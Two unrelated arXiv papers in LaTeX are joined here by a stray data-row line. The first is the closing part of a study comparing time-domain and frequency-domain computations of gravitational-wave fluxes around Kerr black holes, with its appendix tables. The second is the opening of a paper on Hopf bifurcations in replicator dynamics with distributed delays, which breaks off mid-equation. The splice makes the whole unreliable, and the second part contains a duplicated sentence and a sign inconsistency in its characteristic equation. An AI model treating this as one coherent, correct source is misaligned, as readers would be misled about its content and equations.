For the TD calculations we used the 2+1D code of \cite{burko-_khanna_07}, with radial resolution of $\,\Delta r=M/20$ (and temporal resolution of $\,\Delta t=\,\Delta r/2$), and angular resolution of $\,\Delta\theta=\pi/32$. We placed the inner and outer boundaries at $r_*/M=-50$ and at $r_*/M=350$, respectively. We approximate the scattering problem on the boundaries by assuming Sommerfeld boundary conditions, i.e., no incoming radiation from outside the boundaries. One may of course make this approximation better by pushing the outer boundary outwards (and the inner boundary inwards). Reflections from the boundaries then do not contaminate the center of the computational domain (at $r_*/M=150$) until $t/M=400$, and we integrate in time until then. In practice, we wait at each evaluation point until the initial spurious waves (that result from imprecise initial data that correspond to a particle suddenly appearing at $t/M=0$), and then average the flux over a full period of the orbit. The angular period is $T_{\phi}=2\pi\,M^{-1/2}\,(r^{3/2}+aM^{1/2})$, where $r$ is the semimajor axis. For our choice of parameters, $T_{\phi}\approx 102.4M$. The radial period is found to be $T_r\approx 162.5M$, and it is the latter (radial) period we use for our analysis.
We extract the (radial period averaged) flux at a number of extraction distances, in practice at $r_*/M=30,40,\cdots,100$, and then fit the (finite extraction distance) fluxes to an inverse-square function as in Eq.~(\ref{ansatz}). This allows us to achieve fluxes that agree with the FD fluxes to $10^{-3}$, while not having to integrate to very late times (and commensurately increase also the spatial computational domain). Notably, we can obtain higher accuracy than that reported in \cite{burko-_khanna_07} while integrating to a shorter time because we make use of the finite time corrections to the energy flux. We discuss this method in detail in the Appendix.
The TD computational time is presented in Table \ref{table6}. It can be made more efficient using code improvements, and data analysis improvements. First, we used gaussian source modeling as in \cite{burko-_khanna_07} , and the discrete $\delta$ approach may improve efficiency considerably. In fact, Ref.~ \cite{pranesh} has argued for a full order of magnitude reduction in computation time. While this statement may be an overestimate of the numerical capabilities ---especially for generic (i.e., eccentric or inclined) orbits--- it is certainly possible to improve the efficiency of the TD code by changing the method of calculation of the source term. (The discrete delta approach has also other advantages over the gaussian model. See \cite{pranesh} for more detail.) An important property of the TD code is that it is very naturally parallelizable. Certainly the FD computation is also parallelizable, most naturally by having each $k$ mode computed on a different processor. In such a case, the total FD computation time is controlled by the $k$ mode that takes the longest to compute, i.e., the largest $k$ (see Fig.~\ref{fig11}). Another improvement of efficiency of the FD code may come from improvements of the Burlisch--Stoer engine, specifically the solution for $\log r$ instead of $r$. It is currently unknown how the computational efficiency and numerical accuracy would be affected by such a change.
One factor that limits a possible reduction of the TD computation time is the need to average over an orbital (radial) period to find the average flux per period. Even for the strong field orbit considered here, with $p/M=4.64$ and $\epsilon=0.5$, the radial period is $T_r=162.5M$, which puts a lower bound on how short the computational integration can be. One could perhaps shorten the computation time if only half an orbital period is computed, but because the phase of the orbit at the end of the spurious wave epoch is arbitrary, on the average at least three quarters of an orbit need to be computed. However, we were interested here in comparison of the fluxes to infinity. If one is interested in the wave function itself, shorter computation times can be used, thus saving much of the TD computation time. No equivalent save in time can be achieved with the FD computation. Reduction of the TD computation time would result in the dashed line in Fig.~\ref{fig15} moving lower, thus making the computational time of TD and FD comparable already for lower $m$ values. Most importantly, when higher eccentricity orbits are considered, the TD computation time remains unchanged, whereas the FD computation time increases considerably. More specifically, not only is the solid curve in Fig.~\ref{fig15} shifted up, it also becomes steeper (i.e., its rate of growth increases), so that the TD and FD computation times become comparable for lower $m$ values. In addition, the TD calculation does not require any extra computation to find the waveform, as it is already available. In fact, an extra computation was needed to find the fluxes. On the other hand, the FD calculation requires an extra computation to produce the waveform, which we have not done here. Therefore, the greater efficiency of FD over TD for the modes shown here is much less impressive when the computation time for waveforms is of interest.
We therefore suggest that at high eccentricity orbits the computational efficiency of the TD and the FD approaches is comparable for high $m$ values. We believe that the question of the total (sum over $m$) computation time is not necessarily a very important one, and suggest that for actual computations the low $m$ modes are calculated using the FD approach, and the high $m$ modes are calculated using the TD approach. The determination of which $m$ values are low and which are high depends of course on the parameters of the system, and the accuracy level of the computation. Using a single method, however, could still possibly make TD more efficient than FD for very high values of the eccentricity.
\begin{figure}
\input epsf
\includegraphics[width=11.0cm]{fig19_c.eps}
\caption{Comparison of computation time for FD and TD for an orbit with $p/M=4.64$ and $\epsilon=0.5$ as a function of the mode number $m$. The circles ($\circ$) denote FD computation time, and the squares ($\square$) show TD computation times. Both sets of runs were done on the same computer, in this case a single processor of a dual 2.7GHz PowerPC G5. The red curve is the fitted curve $t=21.471\,m^{1.2919}\;{\rm sec}$, that fits the numerical data with a squared correlation coefficient of $R^2=0.9895$. For both cases the accuracy level is set at $10^{-3}$.
}
\label{fig15}
\end{figure}
In the analysis of this paper we have focused on equatorial orbits. Such orbit simplify the problem not just computationally: the number of dimensions in the FD parameter space is significantly lower than that for generic orbits. While the analysis of equatorial orbits presented here is non-trivial, the added complications of handling generic orbits warrant separate treatment. When generic orbits are considered, finding the number of $\ell$ modes required to achieve a set accuracy level with the FD approach becomes a non-trivial problem, as is the question of finding the computational time of each $\ell$ mode as a function of the mode number. Notably, the TD calculations remain unchanged, as is the associated computation time. We therefore expect the FD computation time to increase significantly with the transition from equatorial to inclined and then generic orbits, an increase that has no counterpart in the TD case. To do such an analysis, one needs to check the behavior of all combinations of the modes $k,\ell,m$, find the minimal number of modes required for a set accuracy level, and then compute those modes. The TD calculation requires that the same number of $m$ modes are computed, and this computation time depends only on the duration of the computation, the size of the computational domain, and of course the grid resolution. Modest improvements to the TD computation time may be achieved by improving the efficiency of the source calculations (e.g., the discrete delta approach), but they are not expected to be as dramatic as previously suggested \cite{pranesh}. We expect the threshold eccentricity above which the TD approach is more computationally efficient than the FD approach for some of the needed $m$ modes to be moderate--high, specifically in the range of $\epsilon\sim 0.6$--$0.7$.
\section*{Acknowledgments}
The authors are indebted to Kostas Glampedakis for discussions and for making his FD code available to us.
LMB was supported in part by NASA/GSFC grant No.~NCC5--580, NASA/SSC grant No.~NNX07AL52A, and by a minigrant from the Office of the Vice President for Research at UAHuntsville. GK is grateful for research support from the University of Massachusetts (Dartmouth) -- College of Engineering, the HPC Consortium and Sony Corporation of America (SCEA).
DJL was supported by a Research Experiences for Undergraduates in Science and Engineering fellowship, sponsored by the
Alabama Space Grant Consortium under Contract NNG05GE80H and by the UAHuntsville President's Office.
\begin{appendix}
\section{Notes on wave--extraction distance for the time domain code}\label{appendixA}
The peeling theorem describes how the various components of the gravitational field of a bound gravitational system behave as the observer moves away from the source (see, e.g., \cite{stephani,stewart}). Specifically, in the wave zone of a radiating system, the $\Psi_4$ component of the Weyl curvature--- which describes in the wave zone the outgoing transverse radiative degrees of freedom ---typically drops off as $\Psi_4\sim r^{-1}$, where $r$ is the distance from the radiating system.
The peeling theorem also gives the drop off rates for the remaining Weyl scalars, and also for spin coefficients and other Newman--Penrose quantities. In addition to the leading order decay rate, the peeling theorem has been extended also to include correction terms in $r^{-1}$. Specifically,
Newman and Unti showed that \cite{newman_unti_62}
$$\Psi_4=\frac{\Psi_4^0}{r}-\frac{2\alpha^0\Psi_3^0+{\bar \xi}^{0k}\Psi^0_{3\; ,k}}{r^{2}}+O(r^{-3})\, ,$$
where $\alpha$ is a spin coefficient and $\xi^i$ is an ``integration constant" from the radial equations. A superscript ``$0$" means the coefficient of the slowest decaying term in an expansion in $r^{-1}$.
As the flux of energy in gravitational waves at infinity ${\cal F}\sim\lim_{r\to\infty} r^2\,\Psi_4^2\sim (\Psi_4^0)^2$, $\Psi_4^0$ is directly related to the flux at infinity.
Notably, the leading order corrections in $r^{-1}$ to $\Psi_4$ are proportional to the {\em asymptotic} value of the Weyl scalar $\Psi_3$ and its gradient. In the Teukolsky formalism, that conveniently describes black hole perturbations, the Weyl scalar $\Psi_3\equiv 0$ (``transverse frame"), so that the leading order correction to $\Psi_4$ is at the next order:
$\Psi_4=\Psi_4^0/r+O(r^{-3})$. Therefore,
\begin{equation}
{\cal F}\sim \lim_{r\to\infty} r^2\,\Psi_4^2\sim \lim_{r\to\infty} r^2\,\left[\frac{\Psi_4^0}{r}+O(r^{-3})\right]^2\sim (\Psi_4^0)^2\,[1+O(r^{-2})]\, .
\end{equation}
We therefore are motivated to introduce the ansatz
\begin{equation}
{\dot E}={\dot E}_{\infty}[1-A(m\lambdabar / r)^2]
\label{ansatz}
\end{equation}
where $\lambdabar:=\lambda /(2\pi)=(r_0^{3/2}+aM^{1/2})/(mM^{1/2})$, and $r_0$ is the Boyer--Lindquist radius of the orbit. Notice that $m\lambdabar=\Omega^{-1}$, so that our ansatz can be written as ${\dot E}={\dot E}_{\infty}[1-A(\Omega r)^{-2}] $. Note that the expansion parameter $(\Omega r)^{-2}\ll 1$, as the field is evaluated far from the radiating system, specifically outside the ``light cylinder."
This ansatz is also suggested by Fig.~1 of Ref.~\cite{burko-_khanna_07} and by Table VI of Ref.~\cite{pranesh}, where a best fit was done to the ansatz ${\dot E}_{\rm SKH}={\dot E}_{\infty}[1-q(r_0 / r)^p]$, and the free parameter $p$ was found numerically to be rather close to 2 (with deviations of $\lesssim 3\%$) for a large range of orbits.
We test our ansatz by fitting the outgoing flux of energy for a number of circular and equatorial orbits around a Kerr black hole as detected at a sequence of distances from the radiating system to the ansatz (\ref{ansatz}). In Table \ref{table1} we show the outgoing fluxes from particles in circular orbits around a Kerr black hole, taken at a sequence of distances.
Table \ref{table2} shows the squared correlation coefficient for the various cases we have checked. In all cases the high value of the correlation coefficient corroborates our ansatz. In Table \ref{table3} we show the values of the free parameter $A$ for the same cases. Lastly, in Table \ref{table4} we compare the flux to infinity based on the ansatz (\ref{ansatz}) to the flux obtained from a frequency-domain calculation. Notably, the associated errors appear to be larger for $m=4,5$ than for $m=2,3$. We attribute these higher errors to the lower values of the flux for high values of $m$. Specifically, to obtain the flux with the time domain one needs to first subtract the ``flux" due to the spurious radiation associated with the initial time of the simulation \cite{burko-_khanna_07}. As the fluxes become smaller, this subtraction becomes less accurate.
\begin{table}[h]\label{table1}
\caption{Fluxes per unit mass extracted from the time-domain code at a sequence of radii on the numerical grid. ${\dot E}_R$ is the flux per unit mass measured at a radius $RM$. For $|m|=2,3$ the data are identical to table V of Ref.~\cite{pranesh}. Notice that in \cite{pranesh} (and also tables I,II of \cite{burko-_khanna_07}) each value of $|m|$ is in fact the sum of the contributions of $m$ and $-m$. }
\centering
\begin{tabular}{|c|c|c||c|c|c|c|c|c||} \hline
$|m|$ & $r_0/M$ & $a/M$ & ${\dot E}_{100}$ & ${\dot E}_{200}$ & ${\dot E}_{300}$ & ${\dot E}_{400}$ & ${\dot E}_{500}$ & ${\dot E}_{600}$ \cr \hline \hline
1 & 4.0 & 0.99 & $1.2779\times 10^{-6}$ & $1.3049\times 10^{-6}$ & $1.3107\times 10^{-6}$ & $1.3130\times 10^{-6}$ & $1.3143\times 10^{-6}$ & $1.3150\times 10^{-6}$ \cr \hline
2 & 4.0 & 0.99 & $1.2284\times 10^{-3}$ & $1.2341\times 10^{-3}$ & $1.2351\times 10^{-3}$ & $1.2355\times 10^{-3}$ & $1.2356\times 10^{-3}$ & $1.2357\times 10^{-3}$ \cr \hline
3 & 4.0 & 0.99 &$2.9481\times 10^{-4}$ & $2.9639\times 10^{-4}$ & $2.9667\times 10^{-4}$ & $2.9677\times 10^{-4}$ & $2.9681\times 10^{-4}$ & $2.9682\times 10^{-4}$ \cr \hline
4 & 4.0 & 0.99 & $8.3615\times 10^{-5}$ & $8.4525\times 10^{-5}$ & $8.4769\times 10^{-5}$ & $8.4865\times 10^{-5}$ & $8.4924\times 10^{-5}$ & $8.4955\times 10^{-5}$ \cr \hline
5 & 4.0 & 0.99 & $2.6586\times 10^{-5}$ & $2.6875\times 10^{-5}$ & $2.6949\times 10^{-5}$ & $2.6982\times 10^{-5}$ & $2.7000\times 10^{-5}$ & $2.7015\times 10^{-5}$ \cr \hline
\hline
1 & 10 & 0.90 & $1.9565\times 10^{-8}$ & $2.4481\times 10^{-8}$ & $2.5424\times 10^{-8}$ & $2.5735\times 10^{-8}$ & $2.5888\times 10^{-8}$ & $2.5968\times 10^{-8}$ \cr \hline
2 & 10 & 0.90 & $2.0865\times 10^{-5}$ & $2.1965\times 10^{-5}$ & $2.2161\times 10^{-5}$ & $2.2228\times 10^{-5}$ & $2.2259\times 10^{-5}$ & $2.2275\times 10^{-5}$ \cr \hline
3 & 10 & 0.90 &$2.3396\times 10^{-6}$ & $2.4794\times 10^{-6}$ & $2.5043\times 10^{-6}$ & $2.5128\times 10^{-6}$ & $2.5167\times 10^{-6}$ & $2.5188\times 10^{-6}$ \cr \hline
4 & 10 & 0.90 & $3.2046\times 10^{-7}$ & $3.4170\times 10^{-7}$ & $3.4576\times 10^{-7}$ & $3.4723\times 10^{-7}$ & $3.4796\times 10^{-7}$ & $3.4836\times 10^{-7}$ \cr \hline
5 & 10 & 0.90 & $4.8313\times 10^{-8}$ & $5.1497\times 10^{-8}$ & $5.2112\times 10^{-8}$ & $5.2330\times 10^{-8}$ & $5.2438\times 10^{-8}$ & $5.2500\times 10^{-8}$ \cr \hline
\hline
1 & 10 & 0.99 & $1.6454\times 10^{-8}$ & $2.0725\times 10^{-8}$ & $2.1513\times 10^{-8}$ & $2.1778\times 10^{-8}$ & $2.1907\times 10^{-8}$ & $2.1976\times 10^{-8}$ \cr \hline
2 & 10 & 0.99 & $2.0516\times 10^{-5}$ & $2.1605\times 10^{-5}$ & $2.1799\times 10^{-5}$ & $2.1884\times 10^{-5}$ & $2.1914\times 10^{-5}$ & $2.1931\times 10^{-5}$ \cr \hline
3 & 10 & 0.99 &$2.2889\times 10^{-6}$ & $2.4279\times 10^{-6}$ & $2.4526\times 10^{-6}$ & $2.4610\times 10^{-6}$ & $2.4629\times 10^{-6}$ & $2.4670\times 10^{-6}$ \cr \hline
4 & 10 & 0.99 & $3.1481\times 10^{-7}$ & $3.3596\times 10^{-7}$ & $3.3998\times 10^{-7}$ & $3.4144\times 10^{-7}$ & $3.4208\times 10^{-7}$ & $3.4329\times 10^{-7}$ \cr \hline
5 & 10 & 0.99 & $4.7238\times 10^{-8}$ & $5.0395\times 10^{-8}$ & $5.1012\times 10^{-8}$ & $5.1174\times 10^{-8}$ & $5.1122\times 10^{-8}$ & $5.1182\times 10^{-8}$ \cr \hline
\hline
1 & 12 & 0.0 & $1.9126\times 10^{-8}$ & $2.8001\times 10^{-8}$ & $2.9932\times 10^{-8}$ & $3.0499\times 10^{-8}$ & $3.0772\times 10^{-8}$ & $3.0928\times 10^{-8}$ \cr \hline
2 & 12 & 0.0 & $0.9792\times 10^{-5}$ & $1.0628\times 10^{-5}$ & $1.0777\times 10^{-5}$ & $1.0827\times 10^{-5}$ & $1.0850\times 10^{-5}$ & $1.0862\times 10^{-5}$ \cr \hline
3 & 12 & 0.0 &$0.9769\times 10^{-6}$ & $1.0663\times 10^{-6}$ & $1.0825\times 10^{-6}$ & $1.0881\times 10^{-6}$ & $1.0906\times 10^{-6}$ & $1.0920\times 10^{-6}$ \cr \hline
4 & 12 & 0.0 & $1.1883\times 10^{-7}$ & $1.3096\times 10^{-7}$ & $1.3321\times 10^{-7}$ & $1.3401\times 10^{-7}$ & $1.3440\times 10^{-7}$ & $1.3462\times 10^{-7}$ \cr \hline
5 & 12 & 0.0 & $1.5953\times 10^{-8}$ & $1.7590\times 10^{-8}$ & $1.7874\times 10^{-8}$ & $1.7982\times 10^{-8}$ & $1.8033\times 10^{-8}$ & $1.8062\times 10^{-8}$ \cr \hline
\hline
\end{tabular}
\label{table1}
\end{table}
\begin{table}[h]
\caption{Correlation coefficient $R^2$ for the Ansatz. The roman numerals list the four orbits considered. I: $r_0=4M$, $a=0.99M$. II: $r_0=10M$, $a=0.9M$. III: $r_0=10M$, $a=0.99M$. IV: $r_0=12M$, $a=0$. Notice we have changed the order of the orbits compared with previous paper, to arrange them in ascending order of wavelengths. For all cases, the fit is done with 6 data points, at values of $r/M=100,200,300,400,500,600$. (The case II,4 has a different extraction locations.)}
\centering
\begin{tabular}{|c||c|c|c|c|c|} \hline
{\bf m mode} & 1 & 2 & 3 & 4 & 5
\cr \hline \hline
I & 0.998976026 & 0.99998427 & 0.999899201 & 0.9956862 & 0.99507507 \cr \hline
II & 0.99999139 & 0.99996189 & 0.99996031 & 0.999946517 & 0.99994224 \cr \hline
III & 0.99999644 & 0.99996171 & 0.99995783 & 0.998752311 & 0.99997298 \cr \hline
IV & 0.99978769 & 0.99994700 & 0.99997873 & 0.99999386 & 0.99997505 \cr \hline \hline
\end{tabular}
\label{table2}
\end{table}
\begin{table}[h]
\caption{Best-fit value for the parameter $A$. The roman numerals designate the same orbits as in Table \ref{table1}. The bracketed number denotes the uncertainly in the last figure.}
\centering
\begin{tabular}{|c||c|c|c|c|c|} \hline
{\bf m mode} & 1 & 2 & 3 & 4 & 5
\cr \hline \hline
I & 3.5458(2) & 0.75753(2) & 0.86647(5) & 1.9655(3) & 1.9622(4) \cr \hline
II & 2.3812(2) & 0.6156(4) & 0.6915(4) & 0.7751(5) & 0.7716(5) \cr \hline
III & 2.4132(1) & 0.6224(4) & 0.6976(4) & 0.799(2) & 0.7734(5) \cr \hline
IV & 2.250(2) & 0.5857(7) & 0.6287(5) & 0.6950(3) & 0.6917(5) \cr \hline \hline
\end{tabular}
\label{table3}
\end{table}
\begin{table}[h]\label{table4}
\caption{Comparison of frequency-domain fluxes with time-domain fluxes extrapolated to infinty based on the ansatz (\ref{ansatz}). }
\centering
\begin{tabular}{|c|c|c||c|c|c|} \hline
$|m|$ & $r_0/M$ & $a/M$ & ${\dot E}_{\infty}$ & ${\dot E}_{\rm FD}$ & $({\dot E}_{\infty}-{\dot E}_{FD})/{\dot E}_{FD}$ \cr \hline \hline
1 & 4.0 & 0.99 & $1.3153\times 10^{-6}$ & $1.3403\times 10^{-6}$ & -0.0187 \cr \hline
2 & 4.0 & 0.99 & $1.2359\times 10^{-3}$ & $1.2418\times 10^{-3}$ & -0.0047 \cr \hline
3 & 4.0 & 0.99 & $2.9689\times 10^{-4}$ & $2.9621\times 10^{-4}$ & 0.0023 \cr \hline
4 & 4.0 & 0.99 & $8.4995\times 10^{-5}$ & $8.6330\times 10^{-5}$ & -0.0155 \cr \hline
5 & 4.0 & 0.99 & $2.7024\times 10^{-5}$ & $2.7162\times 10^{-5}$ & -0.0051 \cr \hline
\hline
1 & 10 & 0.90 & $2.6147\times 10^{-8}$ & $2.6555\times 10^{-8}$ & -0.0154 \cr \hline
2 & 10 & 0.90 & $2.2320\times 10^{-5}$ & $2.2281\times 10^{-5}$ & 0.0018 \cr \hline
3 & 10 & 0.90 &$2.5245\times 10^{-6}$ & $2.5221\times 10^{-6}$ & 0.0010 \cr \hline
4 & 10 & 0.90 & $3.4902\times 10^{-7}$ & $3.5345\times 10^{-7}$ & -0.0125 \cr \hline
5 & 10 & 0.90 & $5.2599\times 10^{-8}$ & $5.3255\times 10^{-8}$ & -0.0123 \cr \hline
\hline
1 & 10 & 0.99 & $2.2138\times 10^{-8}$ & $2.2503\times 10^{-8}$ & -0.0162 \cr \hline
2 & 10 & 0.99 & $2.1969\times 10^{-5}$ & $2.1974\times 10^{-5}$ & -0.0002 \cr \hline
3 & 10 & 0.99 &$2.4726\times 10^{-6}$ & $2.4709\times 10^{-6}$ & 0.0007 \cr \hline
4 & 10 & 0.99 & $3.4388\times 10^{-7}$ & $3.4467\times 10^{-7}$ & -0.0023 \cr \hline
5 & 10 & 0.99 & $5.1469\times 10^{-8}$ & $5.1687\times 10^{-8}$ & -0.0042 \cr \hline
\hline
1 & 12 & 0.0 & $3.1227\times 10^{-8}$ & $3.1456\times 10^{-8}$ & -0.0073 \cr \hline
2 & 12 & 0.0 & $1.0897\times 10^{-5}$ & $1.0861\times 10^{-5}$ & 0.0033 \cr \hline
3 & 12 & 0.0 & $1.0956\times 10^{-6}$ & $1.0945\times 10^{-6}$ & 0.0010 \cr \hline
4 & 12 & 0.0 & $1.3503\times 10^{-7}$ & $1.3658\times 10^{-7}$ & -0.0114 \cr \hline
5 & 12 & 0.0 & $1.8121\times 10^{-8}$ & $1.8317\times 10^{-8}$ & -0.0107 \cr \hline
\hline
\end{tabular}
\label{table4}
\end{table}
\end{appendix}
|
1,477,468,750,048 | arxiv | \section{INTRODUCTION}
Evolutionary game theory provides an analytical framework for modeling and studying continuous interactions in a large population of agents.
It was introduced in \cite{smith_orig} where the authors proposed the notion of an evolutionarily stable strategy (ESS), which is an equilibrium characterized by the property of resistance to a sufficiently small fraction of mutants. However, this static notion does not give an estimate of the time required for the ESS to overcome the mutants, neither the asymptotic state of the population (asymptotic fraction of each strategy in the population) given an initial configuration. To overcome these shortcomings, the authors proposed in \cite{taylorjonker78} the replicator dynamics which is a model that enables the prediction of the time evolution of each strategy's fraction in the population.
Its main concept is the replicator dynamics \cite{taylorjonker78} which is a model that enables the prediction of the time evolution of each strategy's fraction in the population.
In this dynamics, the growth rate of a strategy is proportional to how well this strategy performs relative to the average payoff in the population.
In social sciences, the replicator dynamics can be seen as an imitation process, where each player has occasionally the opportunity to revise his strategy and imitate another player whose utility is better than his.
As originally defined, the replicator dynamics does not take into account of delays, and it assumes that an interaction has an instantaneous effect on the fitness of players. However, this assumption can fail to be true. In many situations, we observe some time interval between the use of a strategy and the time a player feels its impact. For example, in economics, the investments take some time delay, which is usually uncertain, to generate revenues. In evolutionary game literature, there have been works that included delays in the replicator dynamics such as \cite{yi97,hopf_2012,hopf2016,cdc2014,albos,delay2012}. In \cite{yi97}, the author introduced a single fixed delay in the fitness function and derived the critical delay at which the stability of the equilibrium is lost. In \cite{nesrine_random}, a linear analysis of the replicator dynamics with distributed delays is proposed. In \cite{hopf2016}, the authors examined the Hopf bifurcations in the replicator dynamics considering a scenario where the delay is fixed but not all the interactions are equally subject to delays. They distinguished homogeneous interactions (involving similar strategies) and mixed interactions (involving different strategies).
A Hopf bifurcation can be supercritical, in which case the limit cycle is stable, or subcritical, in which case the limit cycle is unstable. In this work, we aim to determine the properties of the limit cycle created in the neighborhood of the Hopf bifurcation using Poinacar\'e-Lindstedt's perturbation method. To the best of our knowledge, this paper is the first attempt to study the bifurcations in the replicator dynamics with distributed delays.
The present paper is structured as follows. First, in Section \ref{sec0}, we recall the main concepts in evolutionary games. In Section \ref{sec_repl}, we derive the replicator dynamics with distributed delays. In Section \ref{hopf}, we analyze the Hopf bifurcations in the replicator dynamics considering Dirac, uniform, Gamma, and discrete delay distributions. In Section \ref{sec_num}, we compare the theoretical results with numerical simulations. Finally, in Section \ref{sec_conc}, we conclude the paper.
\section{Evolutionary Games}\label{sec0}
We consider a population in which the agents are continuously involved in random pairwise interactions. At each interactions, the engaged players obtain payoffs that depend on the strategies used. The matrix that gives the outcome of an interaction for both players is given by:
\begin{equation*}
{\cal{G}}=\left (
\begin{array}{cc}
a&b\\
c&d
\end{array}
\right).
\end{equation*}
Let $s(t)$ ($1-s(t)$) be the proportion of the population using the strategy $A$ ($B$). The utilities of strategies $A$ and $B$ at an instant $t$ are given by:
\begin{eqnarray*}
U_A(t)&=&as(t)+b(1-s(t)),\\
U_B(t)&=&cs(t)+d(1-s(t)).
\end{eqnarray*}
Let $\bar{U}$ be the average payoff in the population. $\bar{U}(t)$ is given by:
\begin{eqnarray*}
\bar{U}(t)=s(t)U_A(t)+(1-s(t))U_B(t).
\end{eqnarray*}
In two-strategy games, the replicator dynamics is given by:
\begin{eqnarray*}
\frac{ds(t)}{dt}&=&s(t)(U_A(t)-\bar{U}(t)),\\
&=&s(t)(1-s(t))(U_A(t)-U_B(t)).
\end{eqnarray*}
Let $\delta_1=b-d$, $\delta_2=c-a$, and $\delta=\delta_1+\delta_2$. If $\delta_1>0$ and $\delta_2>0$, then there exists a mixed equilibrium given by $s^*=\frac{\delta_1}{\delta_1+\delta_2}$ which is asymptotically stable in the replicator dynamics. We consider hereafter that this assumption holds.
\section{Replicator dynamics with Distributed Delays}\label{sec_repl}
In this section, we introduce in the replicator dynamics continuous distributed delays. When a player uses a strategy at time $t$, he would receive his payoff after some random delay $\tau$, it means at time $t+\tau$. Then its expected utility is determined only at that instant, i.e. $U(t+\tau)$.
If the delay is equal to $\tau$, then the expected payoff of strategy $A$ at time $t$ is determined by:
$$
U_A(t,\tau)=as(t-\tau)+b(1-s(t-\tau)),
$$
if $t\geq \tau$, it is 0 otherwise.
Let $p(\tau)$ be the probability distribution of delays whose support is $[0,\infty[$. As we consider a large population, every player can experience a different positive delay. Thus, we consider the expected payoff of all the players choosing strategy $A$ by averaging the payoffs of all individuals and then all possible delays as:
$$
U_A(t)=\int_{0}^{\infty}{p(\tau)}U_A(t,\tau)d\tau.
$$
The expected payoffs to strategies $A$ and $B$ then write:
\begin{eqnarray*}
U_A(t)=a \int_{0}^{\infty}{p(\tau)s(t-\tau)d\tau}+b\big(1-\int_{0}^{\infty}{p(\tau)s(t-\tau)d\tau}\big),\\
U_B(t)=c \int_{0}^{\infty}{p(\tau)s(t-\tau)d\tau}+d\big(1-\int_{0}^{\infty}{p(\tau)s(t-\tau)d\tau}\big).
\end{eqnarray*}
Therefore, the replicator dynamics can be written as:
\begin{eqnarray}\label{full_equation0}
\frac{ds(t)}{dt}=s(t)(1-s(t))(-\delta \int_{0}^{{\infty}}{p(\tau)s(t-\tau) d\tau}+\delta_1).
\end{eqnarray}
In order to investigate the local asymptotic stability of the mixed equilibrium $s^*$, we can make a linearization around the equilibrium and derive the associated characteristic equation. The equilibrium point of the linearized equation is locally asymptotically stable if and only if all the roots of the characteristic equation have negative real parts; if there exists a root with a zero or positive real part, then it is not asymptotically stable \cite{gopalsamy}.
Let $x(t)=s(t)-s^*$. Substituting $s$ with $x$ in the previous equation, we get:
\begin{eqnarray}\label{full_equation}
\frac{dx(t)}{dt}=-\delta \gamma \int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau}-\delta (1-2s^*) x(t) \times \nonumber \\ \int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau}+ \delta x^2(t) \int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau};
\end{eqnarray}
which is of the form,
\begin{eqnarray}\label{full_eq2}
\frac{dx(t)}{dt}=A\int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau}+B x(t) \times \nonumber \\ \int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau}+ C x^2(t) \int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau},
\end{eqnarray}
where $A= -\delta \gamma$, $B=-\delta (1-2s^*)$, $C=\delta$, and $\gamma=s^*(1-s^*)$.
Keeping only linear terms in the above equation, we get the following linearized equation:
\begin{eqnarray}
\frac{dx(t)}{dt}&=&A\int_{0}^{\infty}{p(\tau)x(t-\tau) d\tau}.
\end{eqnarray}
The characteristic equation can be derived by taking the Laplace transform of the linearized equation and is given by:
\begin{eqnarray}
\lambda-A\int_{0}^{\infty}{p(\tau)exp(\lambda \tau) d\tau}=0.
\end{eqnarray}
The characteristic equation enables us to determine the local asymptotic stability of the equilibrium. When a pair of conjugate complex roots passes through the imaginary axis, a Hopf bifurcation occurs at which the asymptotic stability of the equilibrium is lost and a limit cycle is created. The frequency of oscillations of the bifurcating limit cycle is equal to the complex parts of the pure imaginary root \cite{gopalsamy}. The amplitude of the limit cycle is very small at the Hopf bifurcation and grows gradually as the mean delay increases.
To determine the properties of the bifurcating limit cycle (criticality and amplitude), we should take into account of all the terms in the replicator dynamics, including nonlinear terms and a perturbation method should be used. We propose to use the Lindstedt's method, which has been proved to be efficient \cite{hopf2007,hopf2016}. The Lindstedt's method enables us to have an approximation of the bifurcating limit cycle.
At the Hopf bifurcation, the solution of the replicator dynamics (\ref{full_equation}) can be approximated as \cite{hopf2007}:
\begin{eqnarray*}
x(t)=A_m\mbox{cos}(w_0 t).
\end{eqnarray*}
To examine the bifurcating solution, we define a small parameter $\epsilon$ and a new variable $u$ as follows:
\begin{eqnarray*}
x(t)=\epsilon u(t).
\end{eqnarray*}
Furthermore, we stretch time by defining a new variable $\Omega$ as follows:
\begin{eqnarray*}
T=\Omega t.
\end{eqnarray*}
The equivalent replicator dynamics can then be written as:
\begin{eqnarray}\label{eq_tot}
&& \hskip -0.7 cm \Omega \frac{du(T)}{dT}=A \int_{0}^{\infty}{p(\tau)u(T-\Omega \tau) d\tau}+\epsilon B u(T) \int_{0}^{\infty}{p(\tau)}\times \nonumber \\ &&\hskip -0.5cm {u(T-\Omega \tau) d\tau}+ \epsilon^2 C u^2(T)\int_{0}^{\infty}{p(\tau)u(T-\Omega \tau) d\tau}.
\end{eqnarray}
In addition, we make a series expansion of $\Omega$ as follows:
\begin{eqnarray}
\Omega=w_0+ \epsilon^2k_2+{{O}}(\epsilon^3),
\end{eqnarray}
we remove the ${O}(\epsilon)$ term because it turns out to be a zero, and
\begin{eqnarray}
u(T)=u_0(T)+\epsilon u_1(T)+\epsilon^2 u_2(T)+{{O}}(\epsilon^3).
\end{eqnarray}
Finally, in equation (\ref{eq_tot}), we expand out and compare the terms of the same order in $\epsilon$. By setting the secular terms to zero, we get the amplitude of the limit cycle.
\section{Hopf Bifurcations in the Replicator Dynamics}\label{hopf}
We aim to determine the properties of the Hopf bifurcation in the replicator dynamics subjet to distributed delays. In the next subsections, we consider different delay distributions: Dirac, uniform, and Gamma distributions. We also consider a case of stochastic and discrete delays.
\subsection{Dirac Distribution}
We suppose there is a single fixed delay of a value $\tau$. The replicator dynamics in (\ref{full_equation0}) reduces to:
\begin{eqnarray*}
\frac{ds(t)}{dt}=s(t)(1-s(t))\big(-\delta s(t-\tau)+\delta_1\big).
\end{eqnarray*}
The characteristic equation associated to the linearized replicator dynamics around the interior equilibrium is given by:
\begin{eqnarray*}
\lambda+\delta \gamma exp(-\lambda \tau)=0.
\end{eqnarray*}
Let $\lambda^*=iw_0$ be a pure imaginary root, from the characteristic equation, that is:
\begin{eqnarray*}
iw_0+\delta \gamma exp(-iw_0\tau_{cr})=0,
\end{eqnarray*}
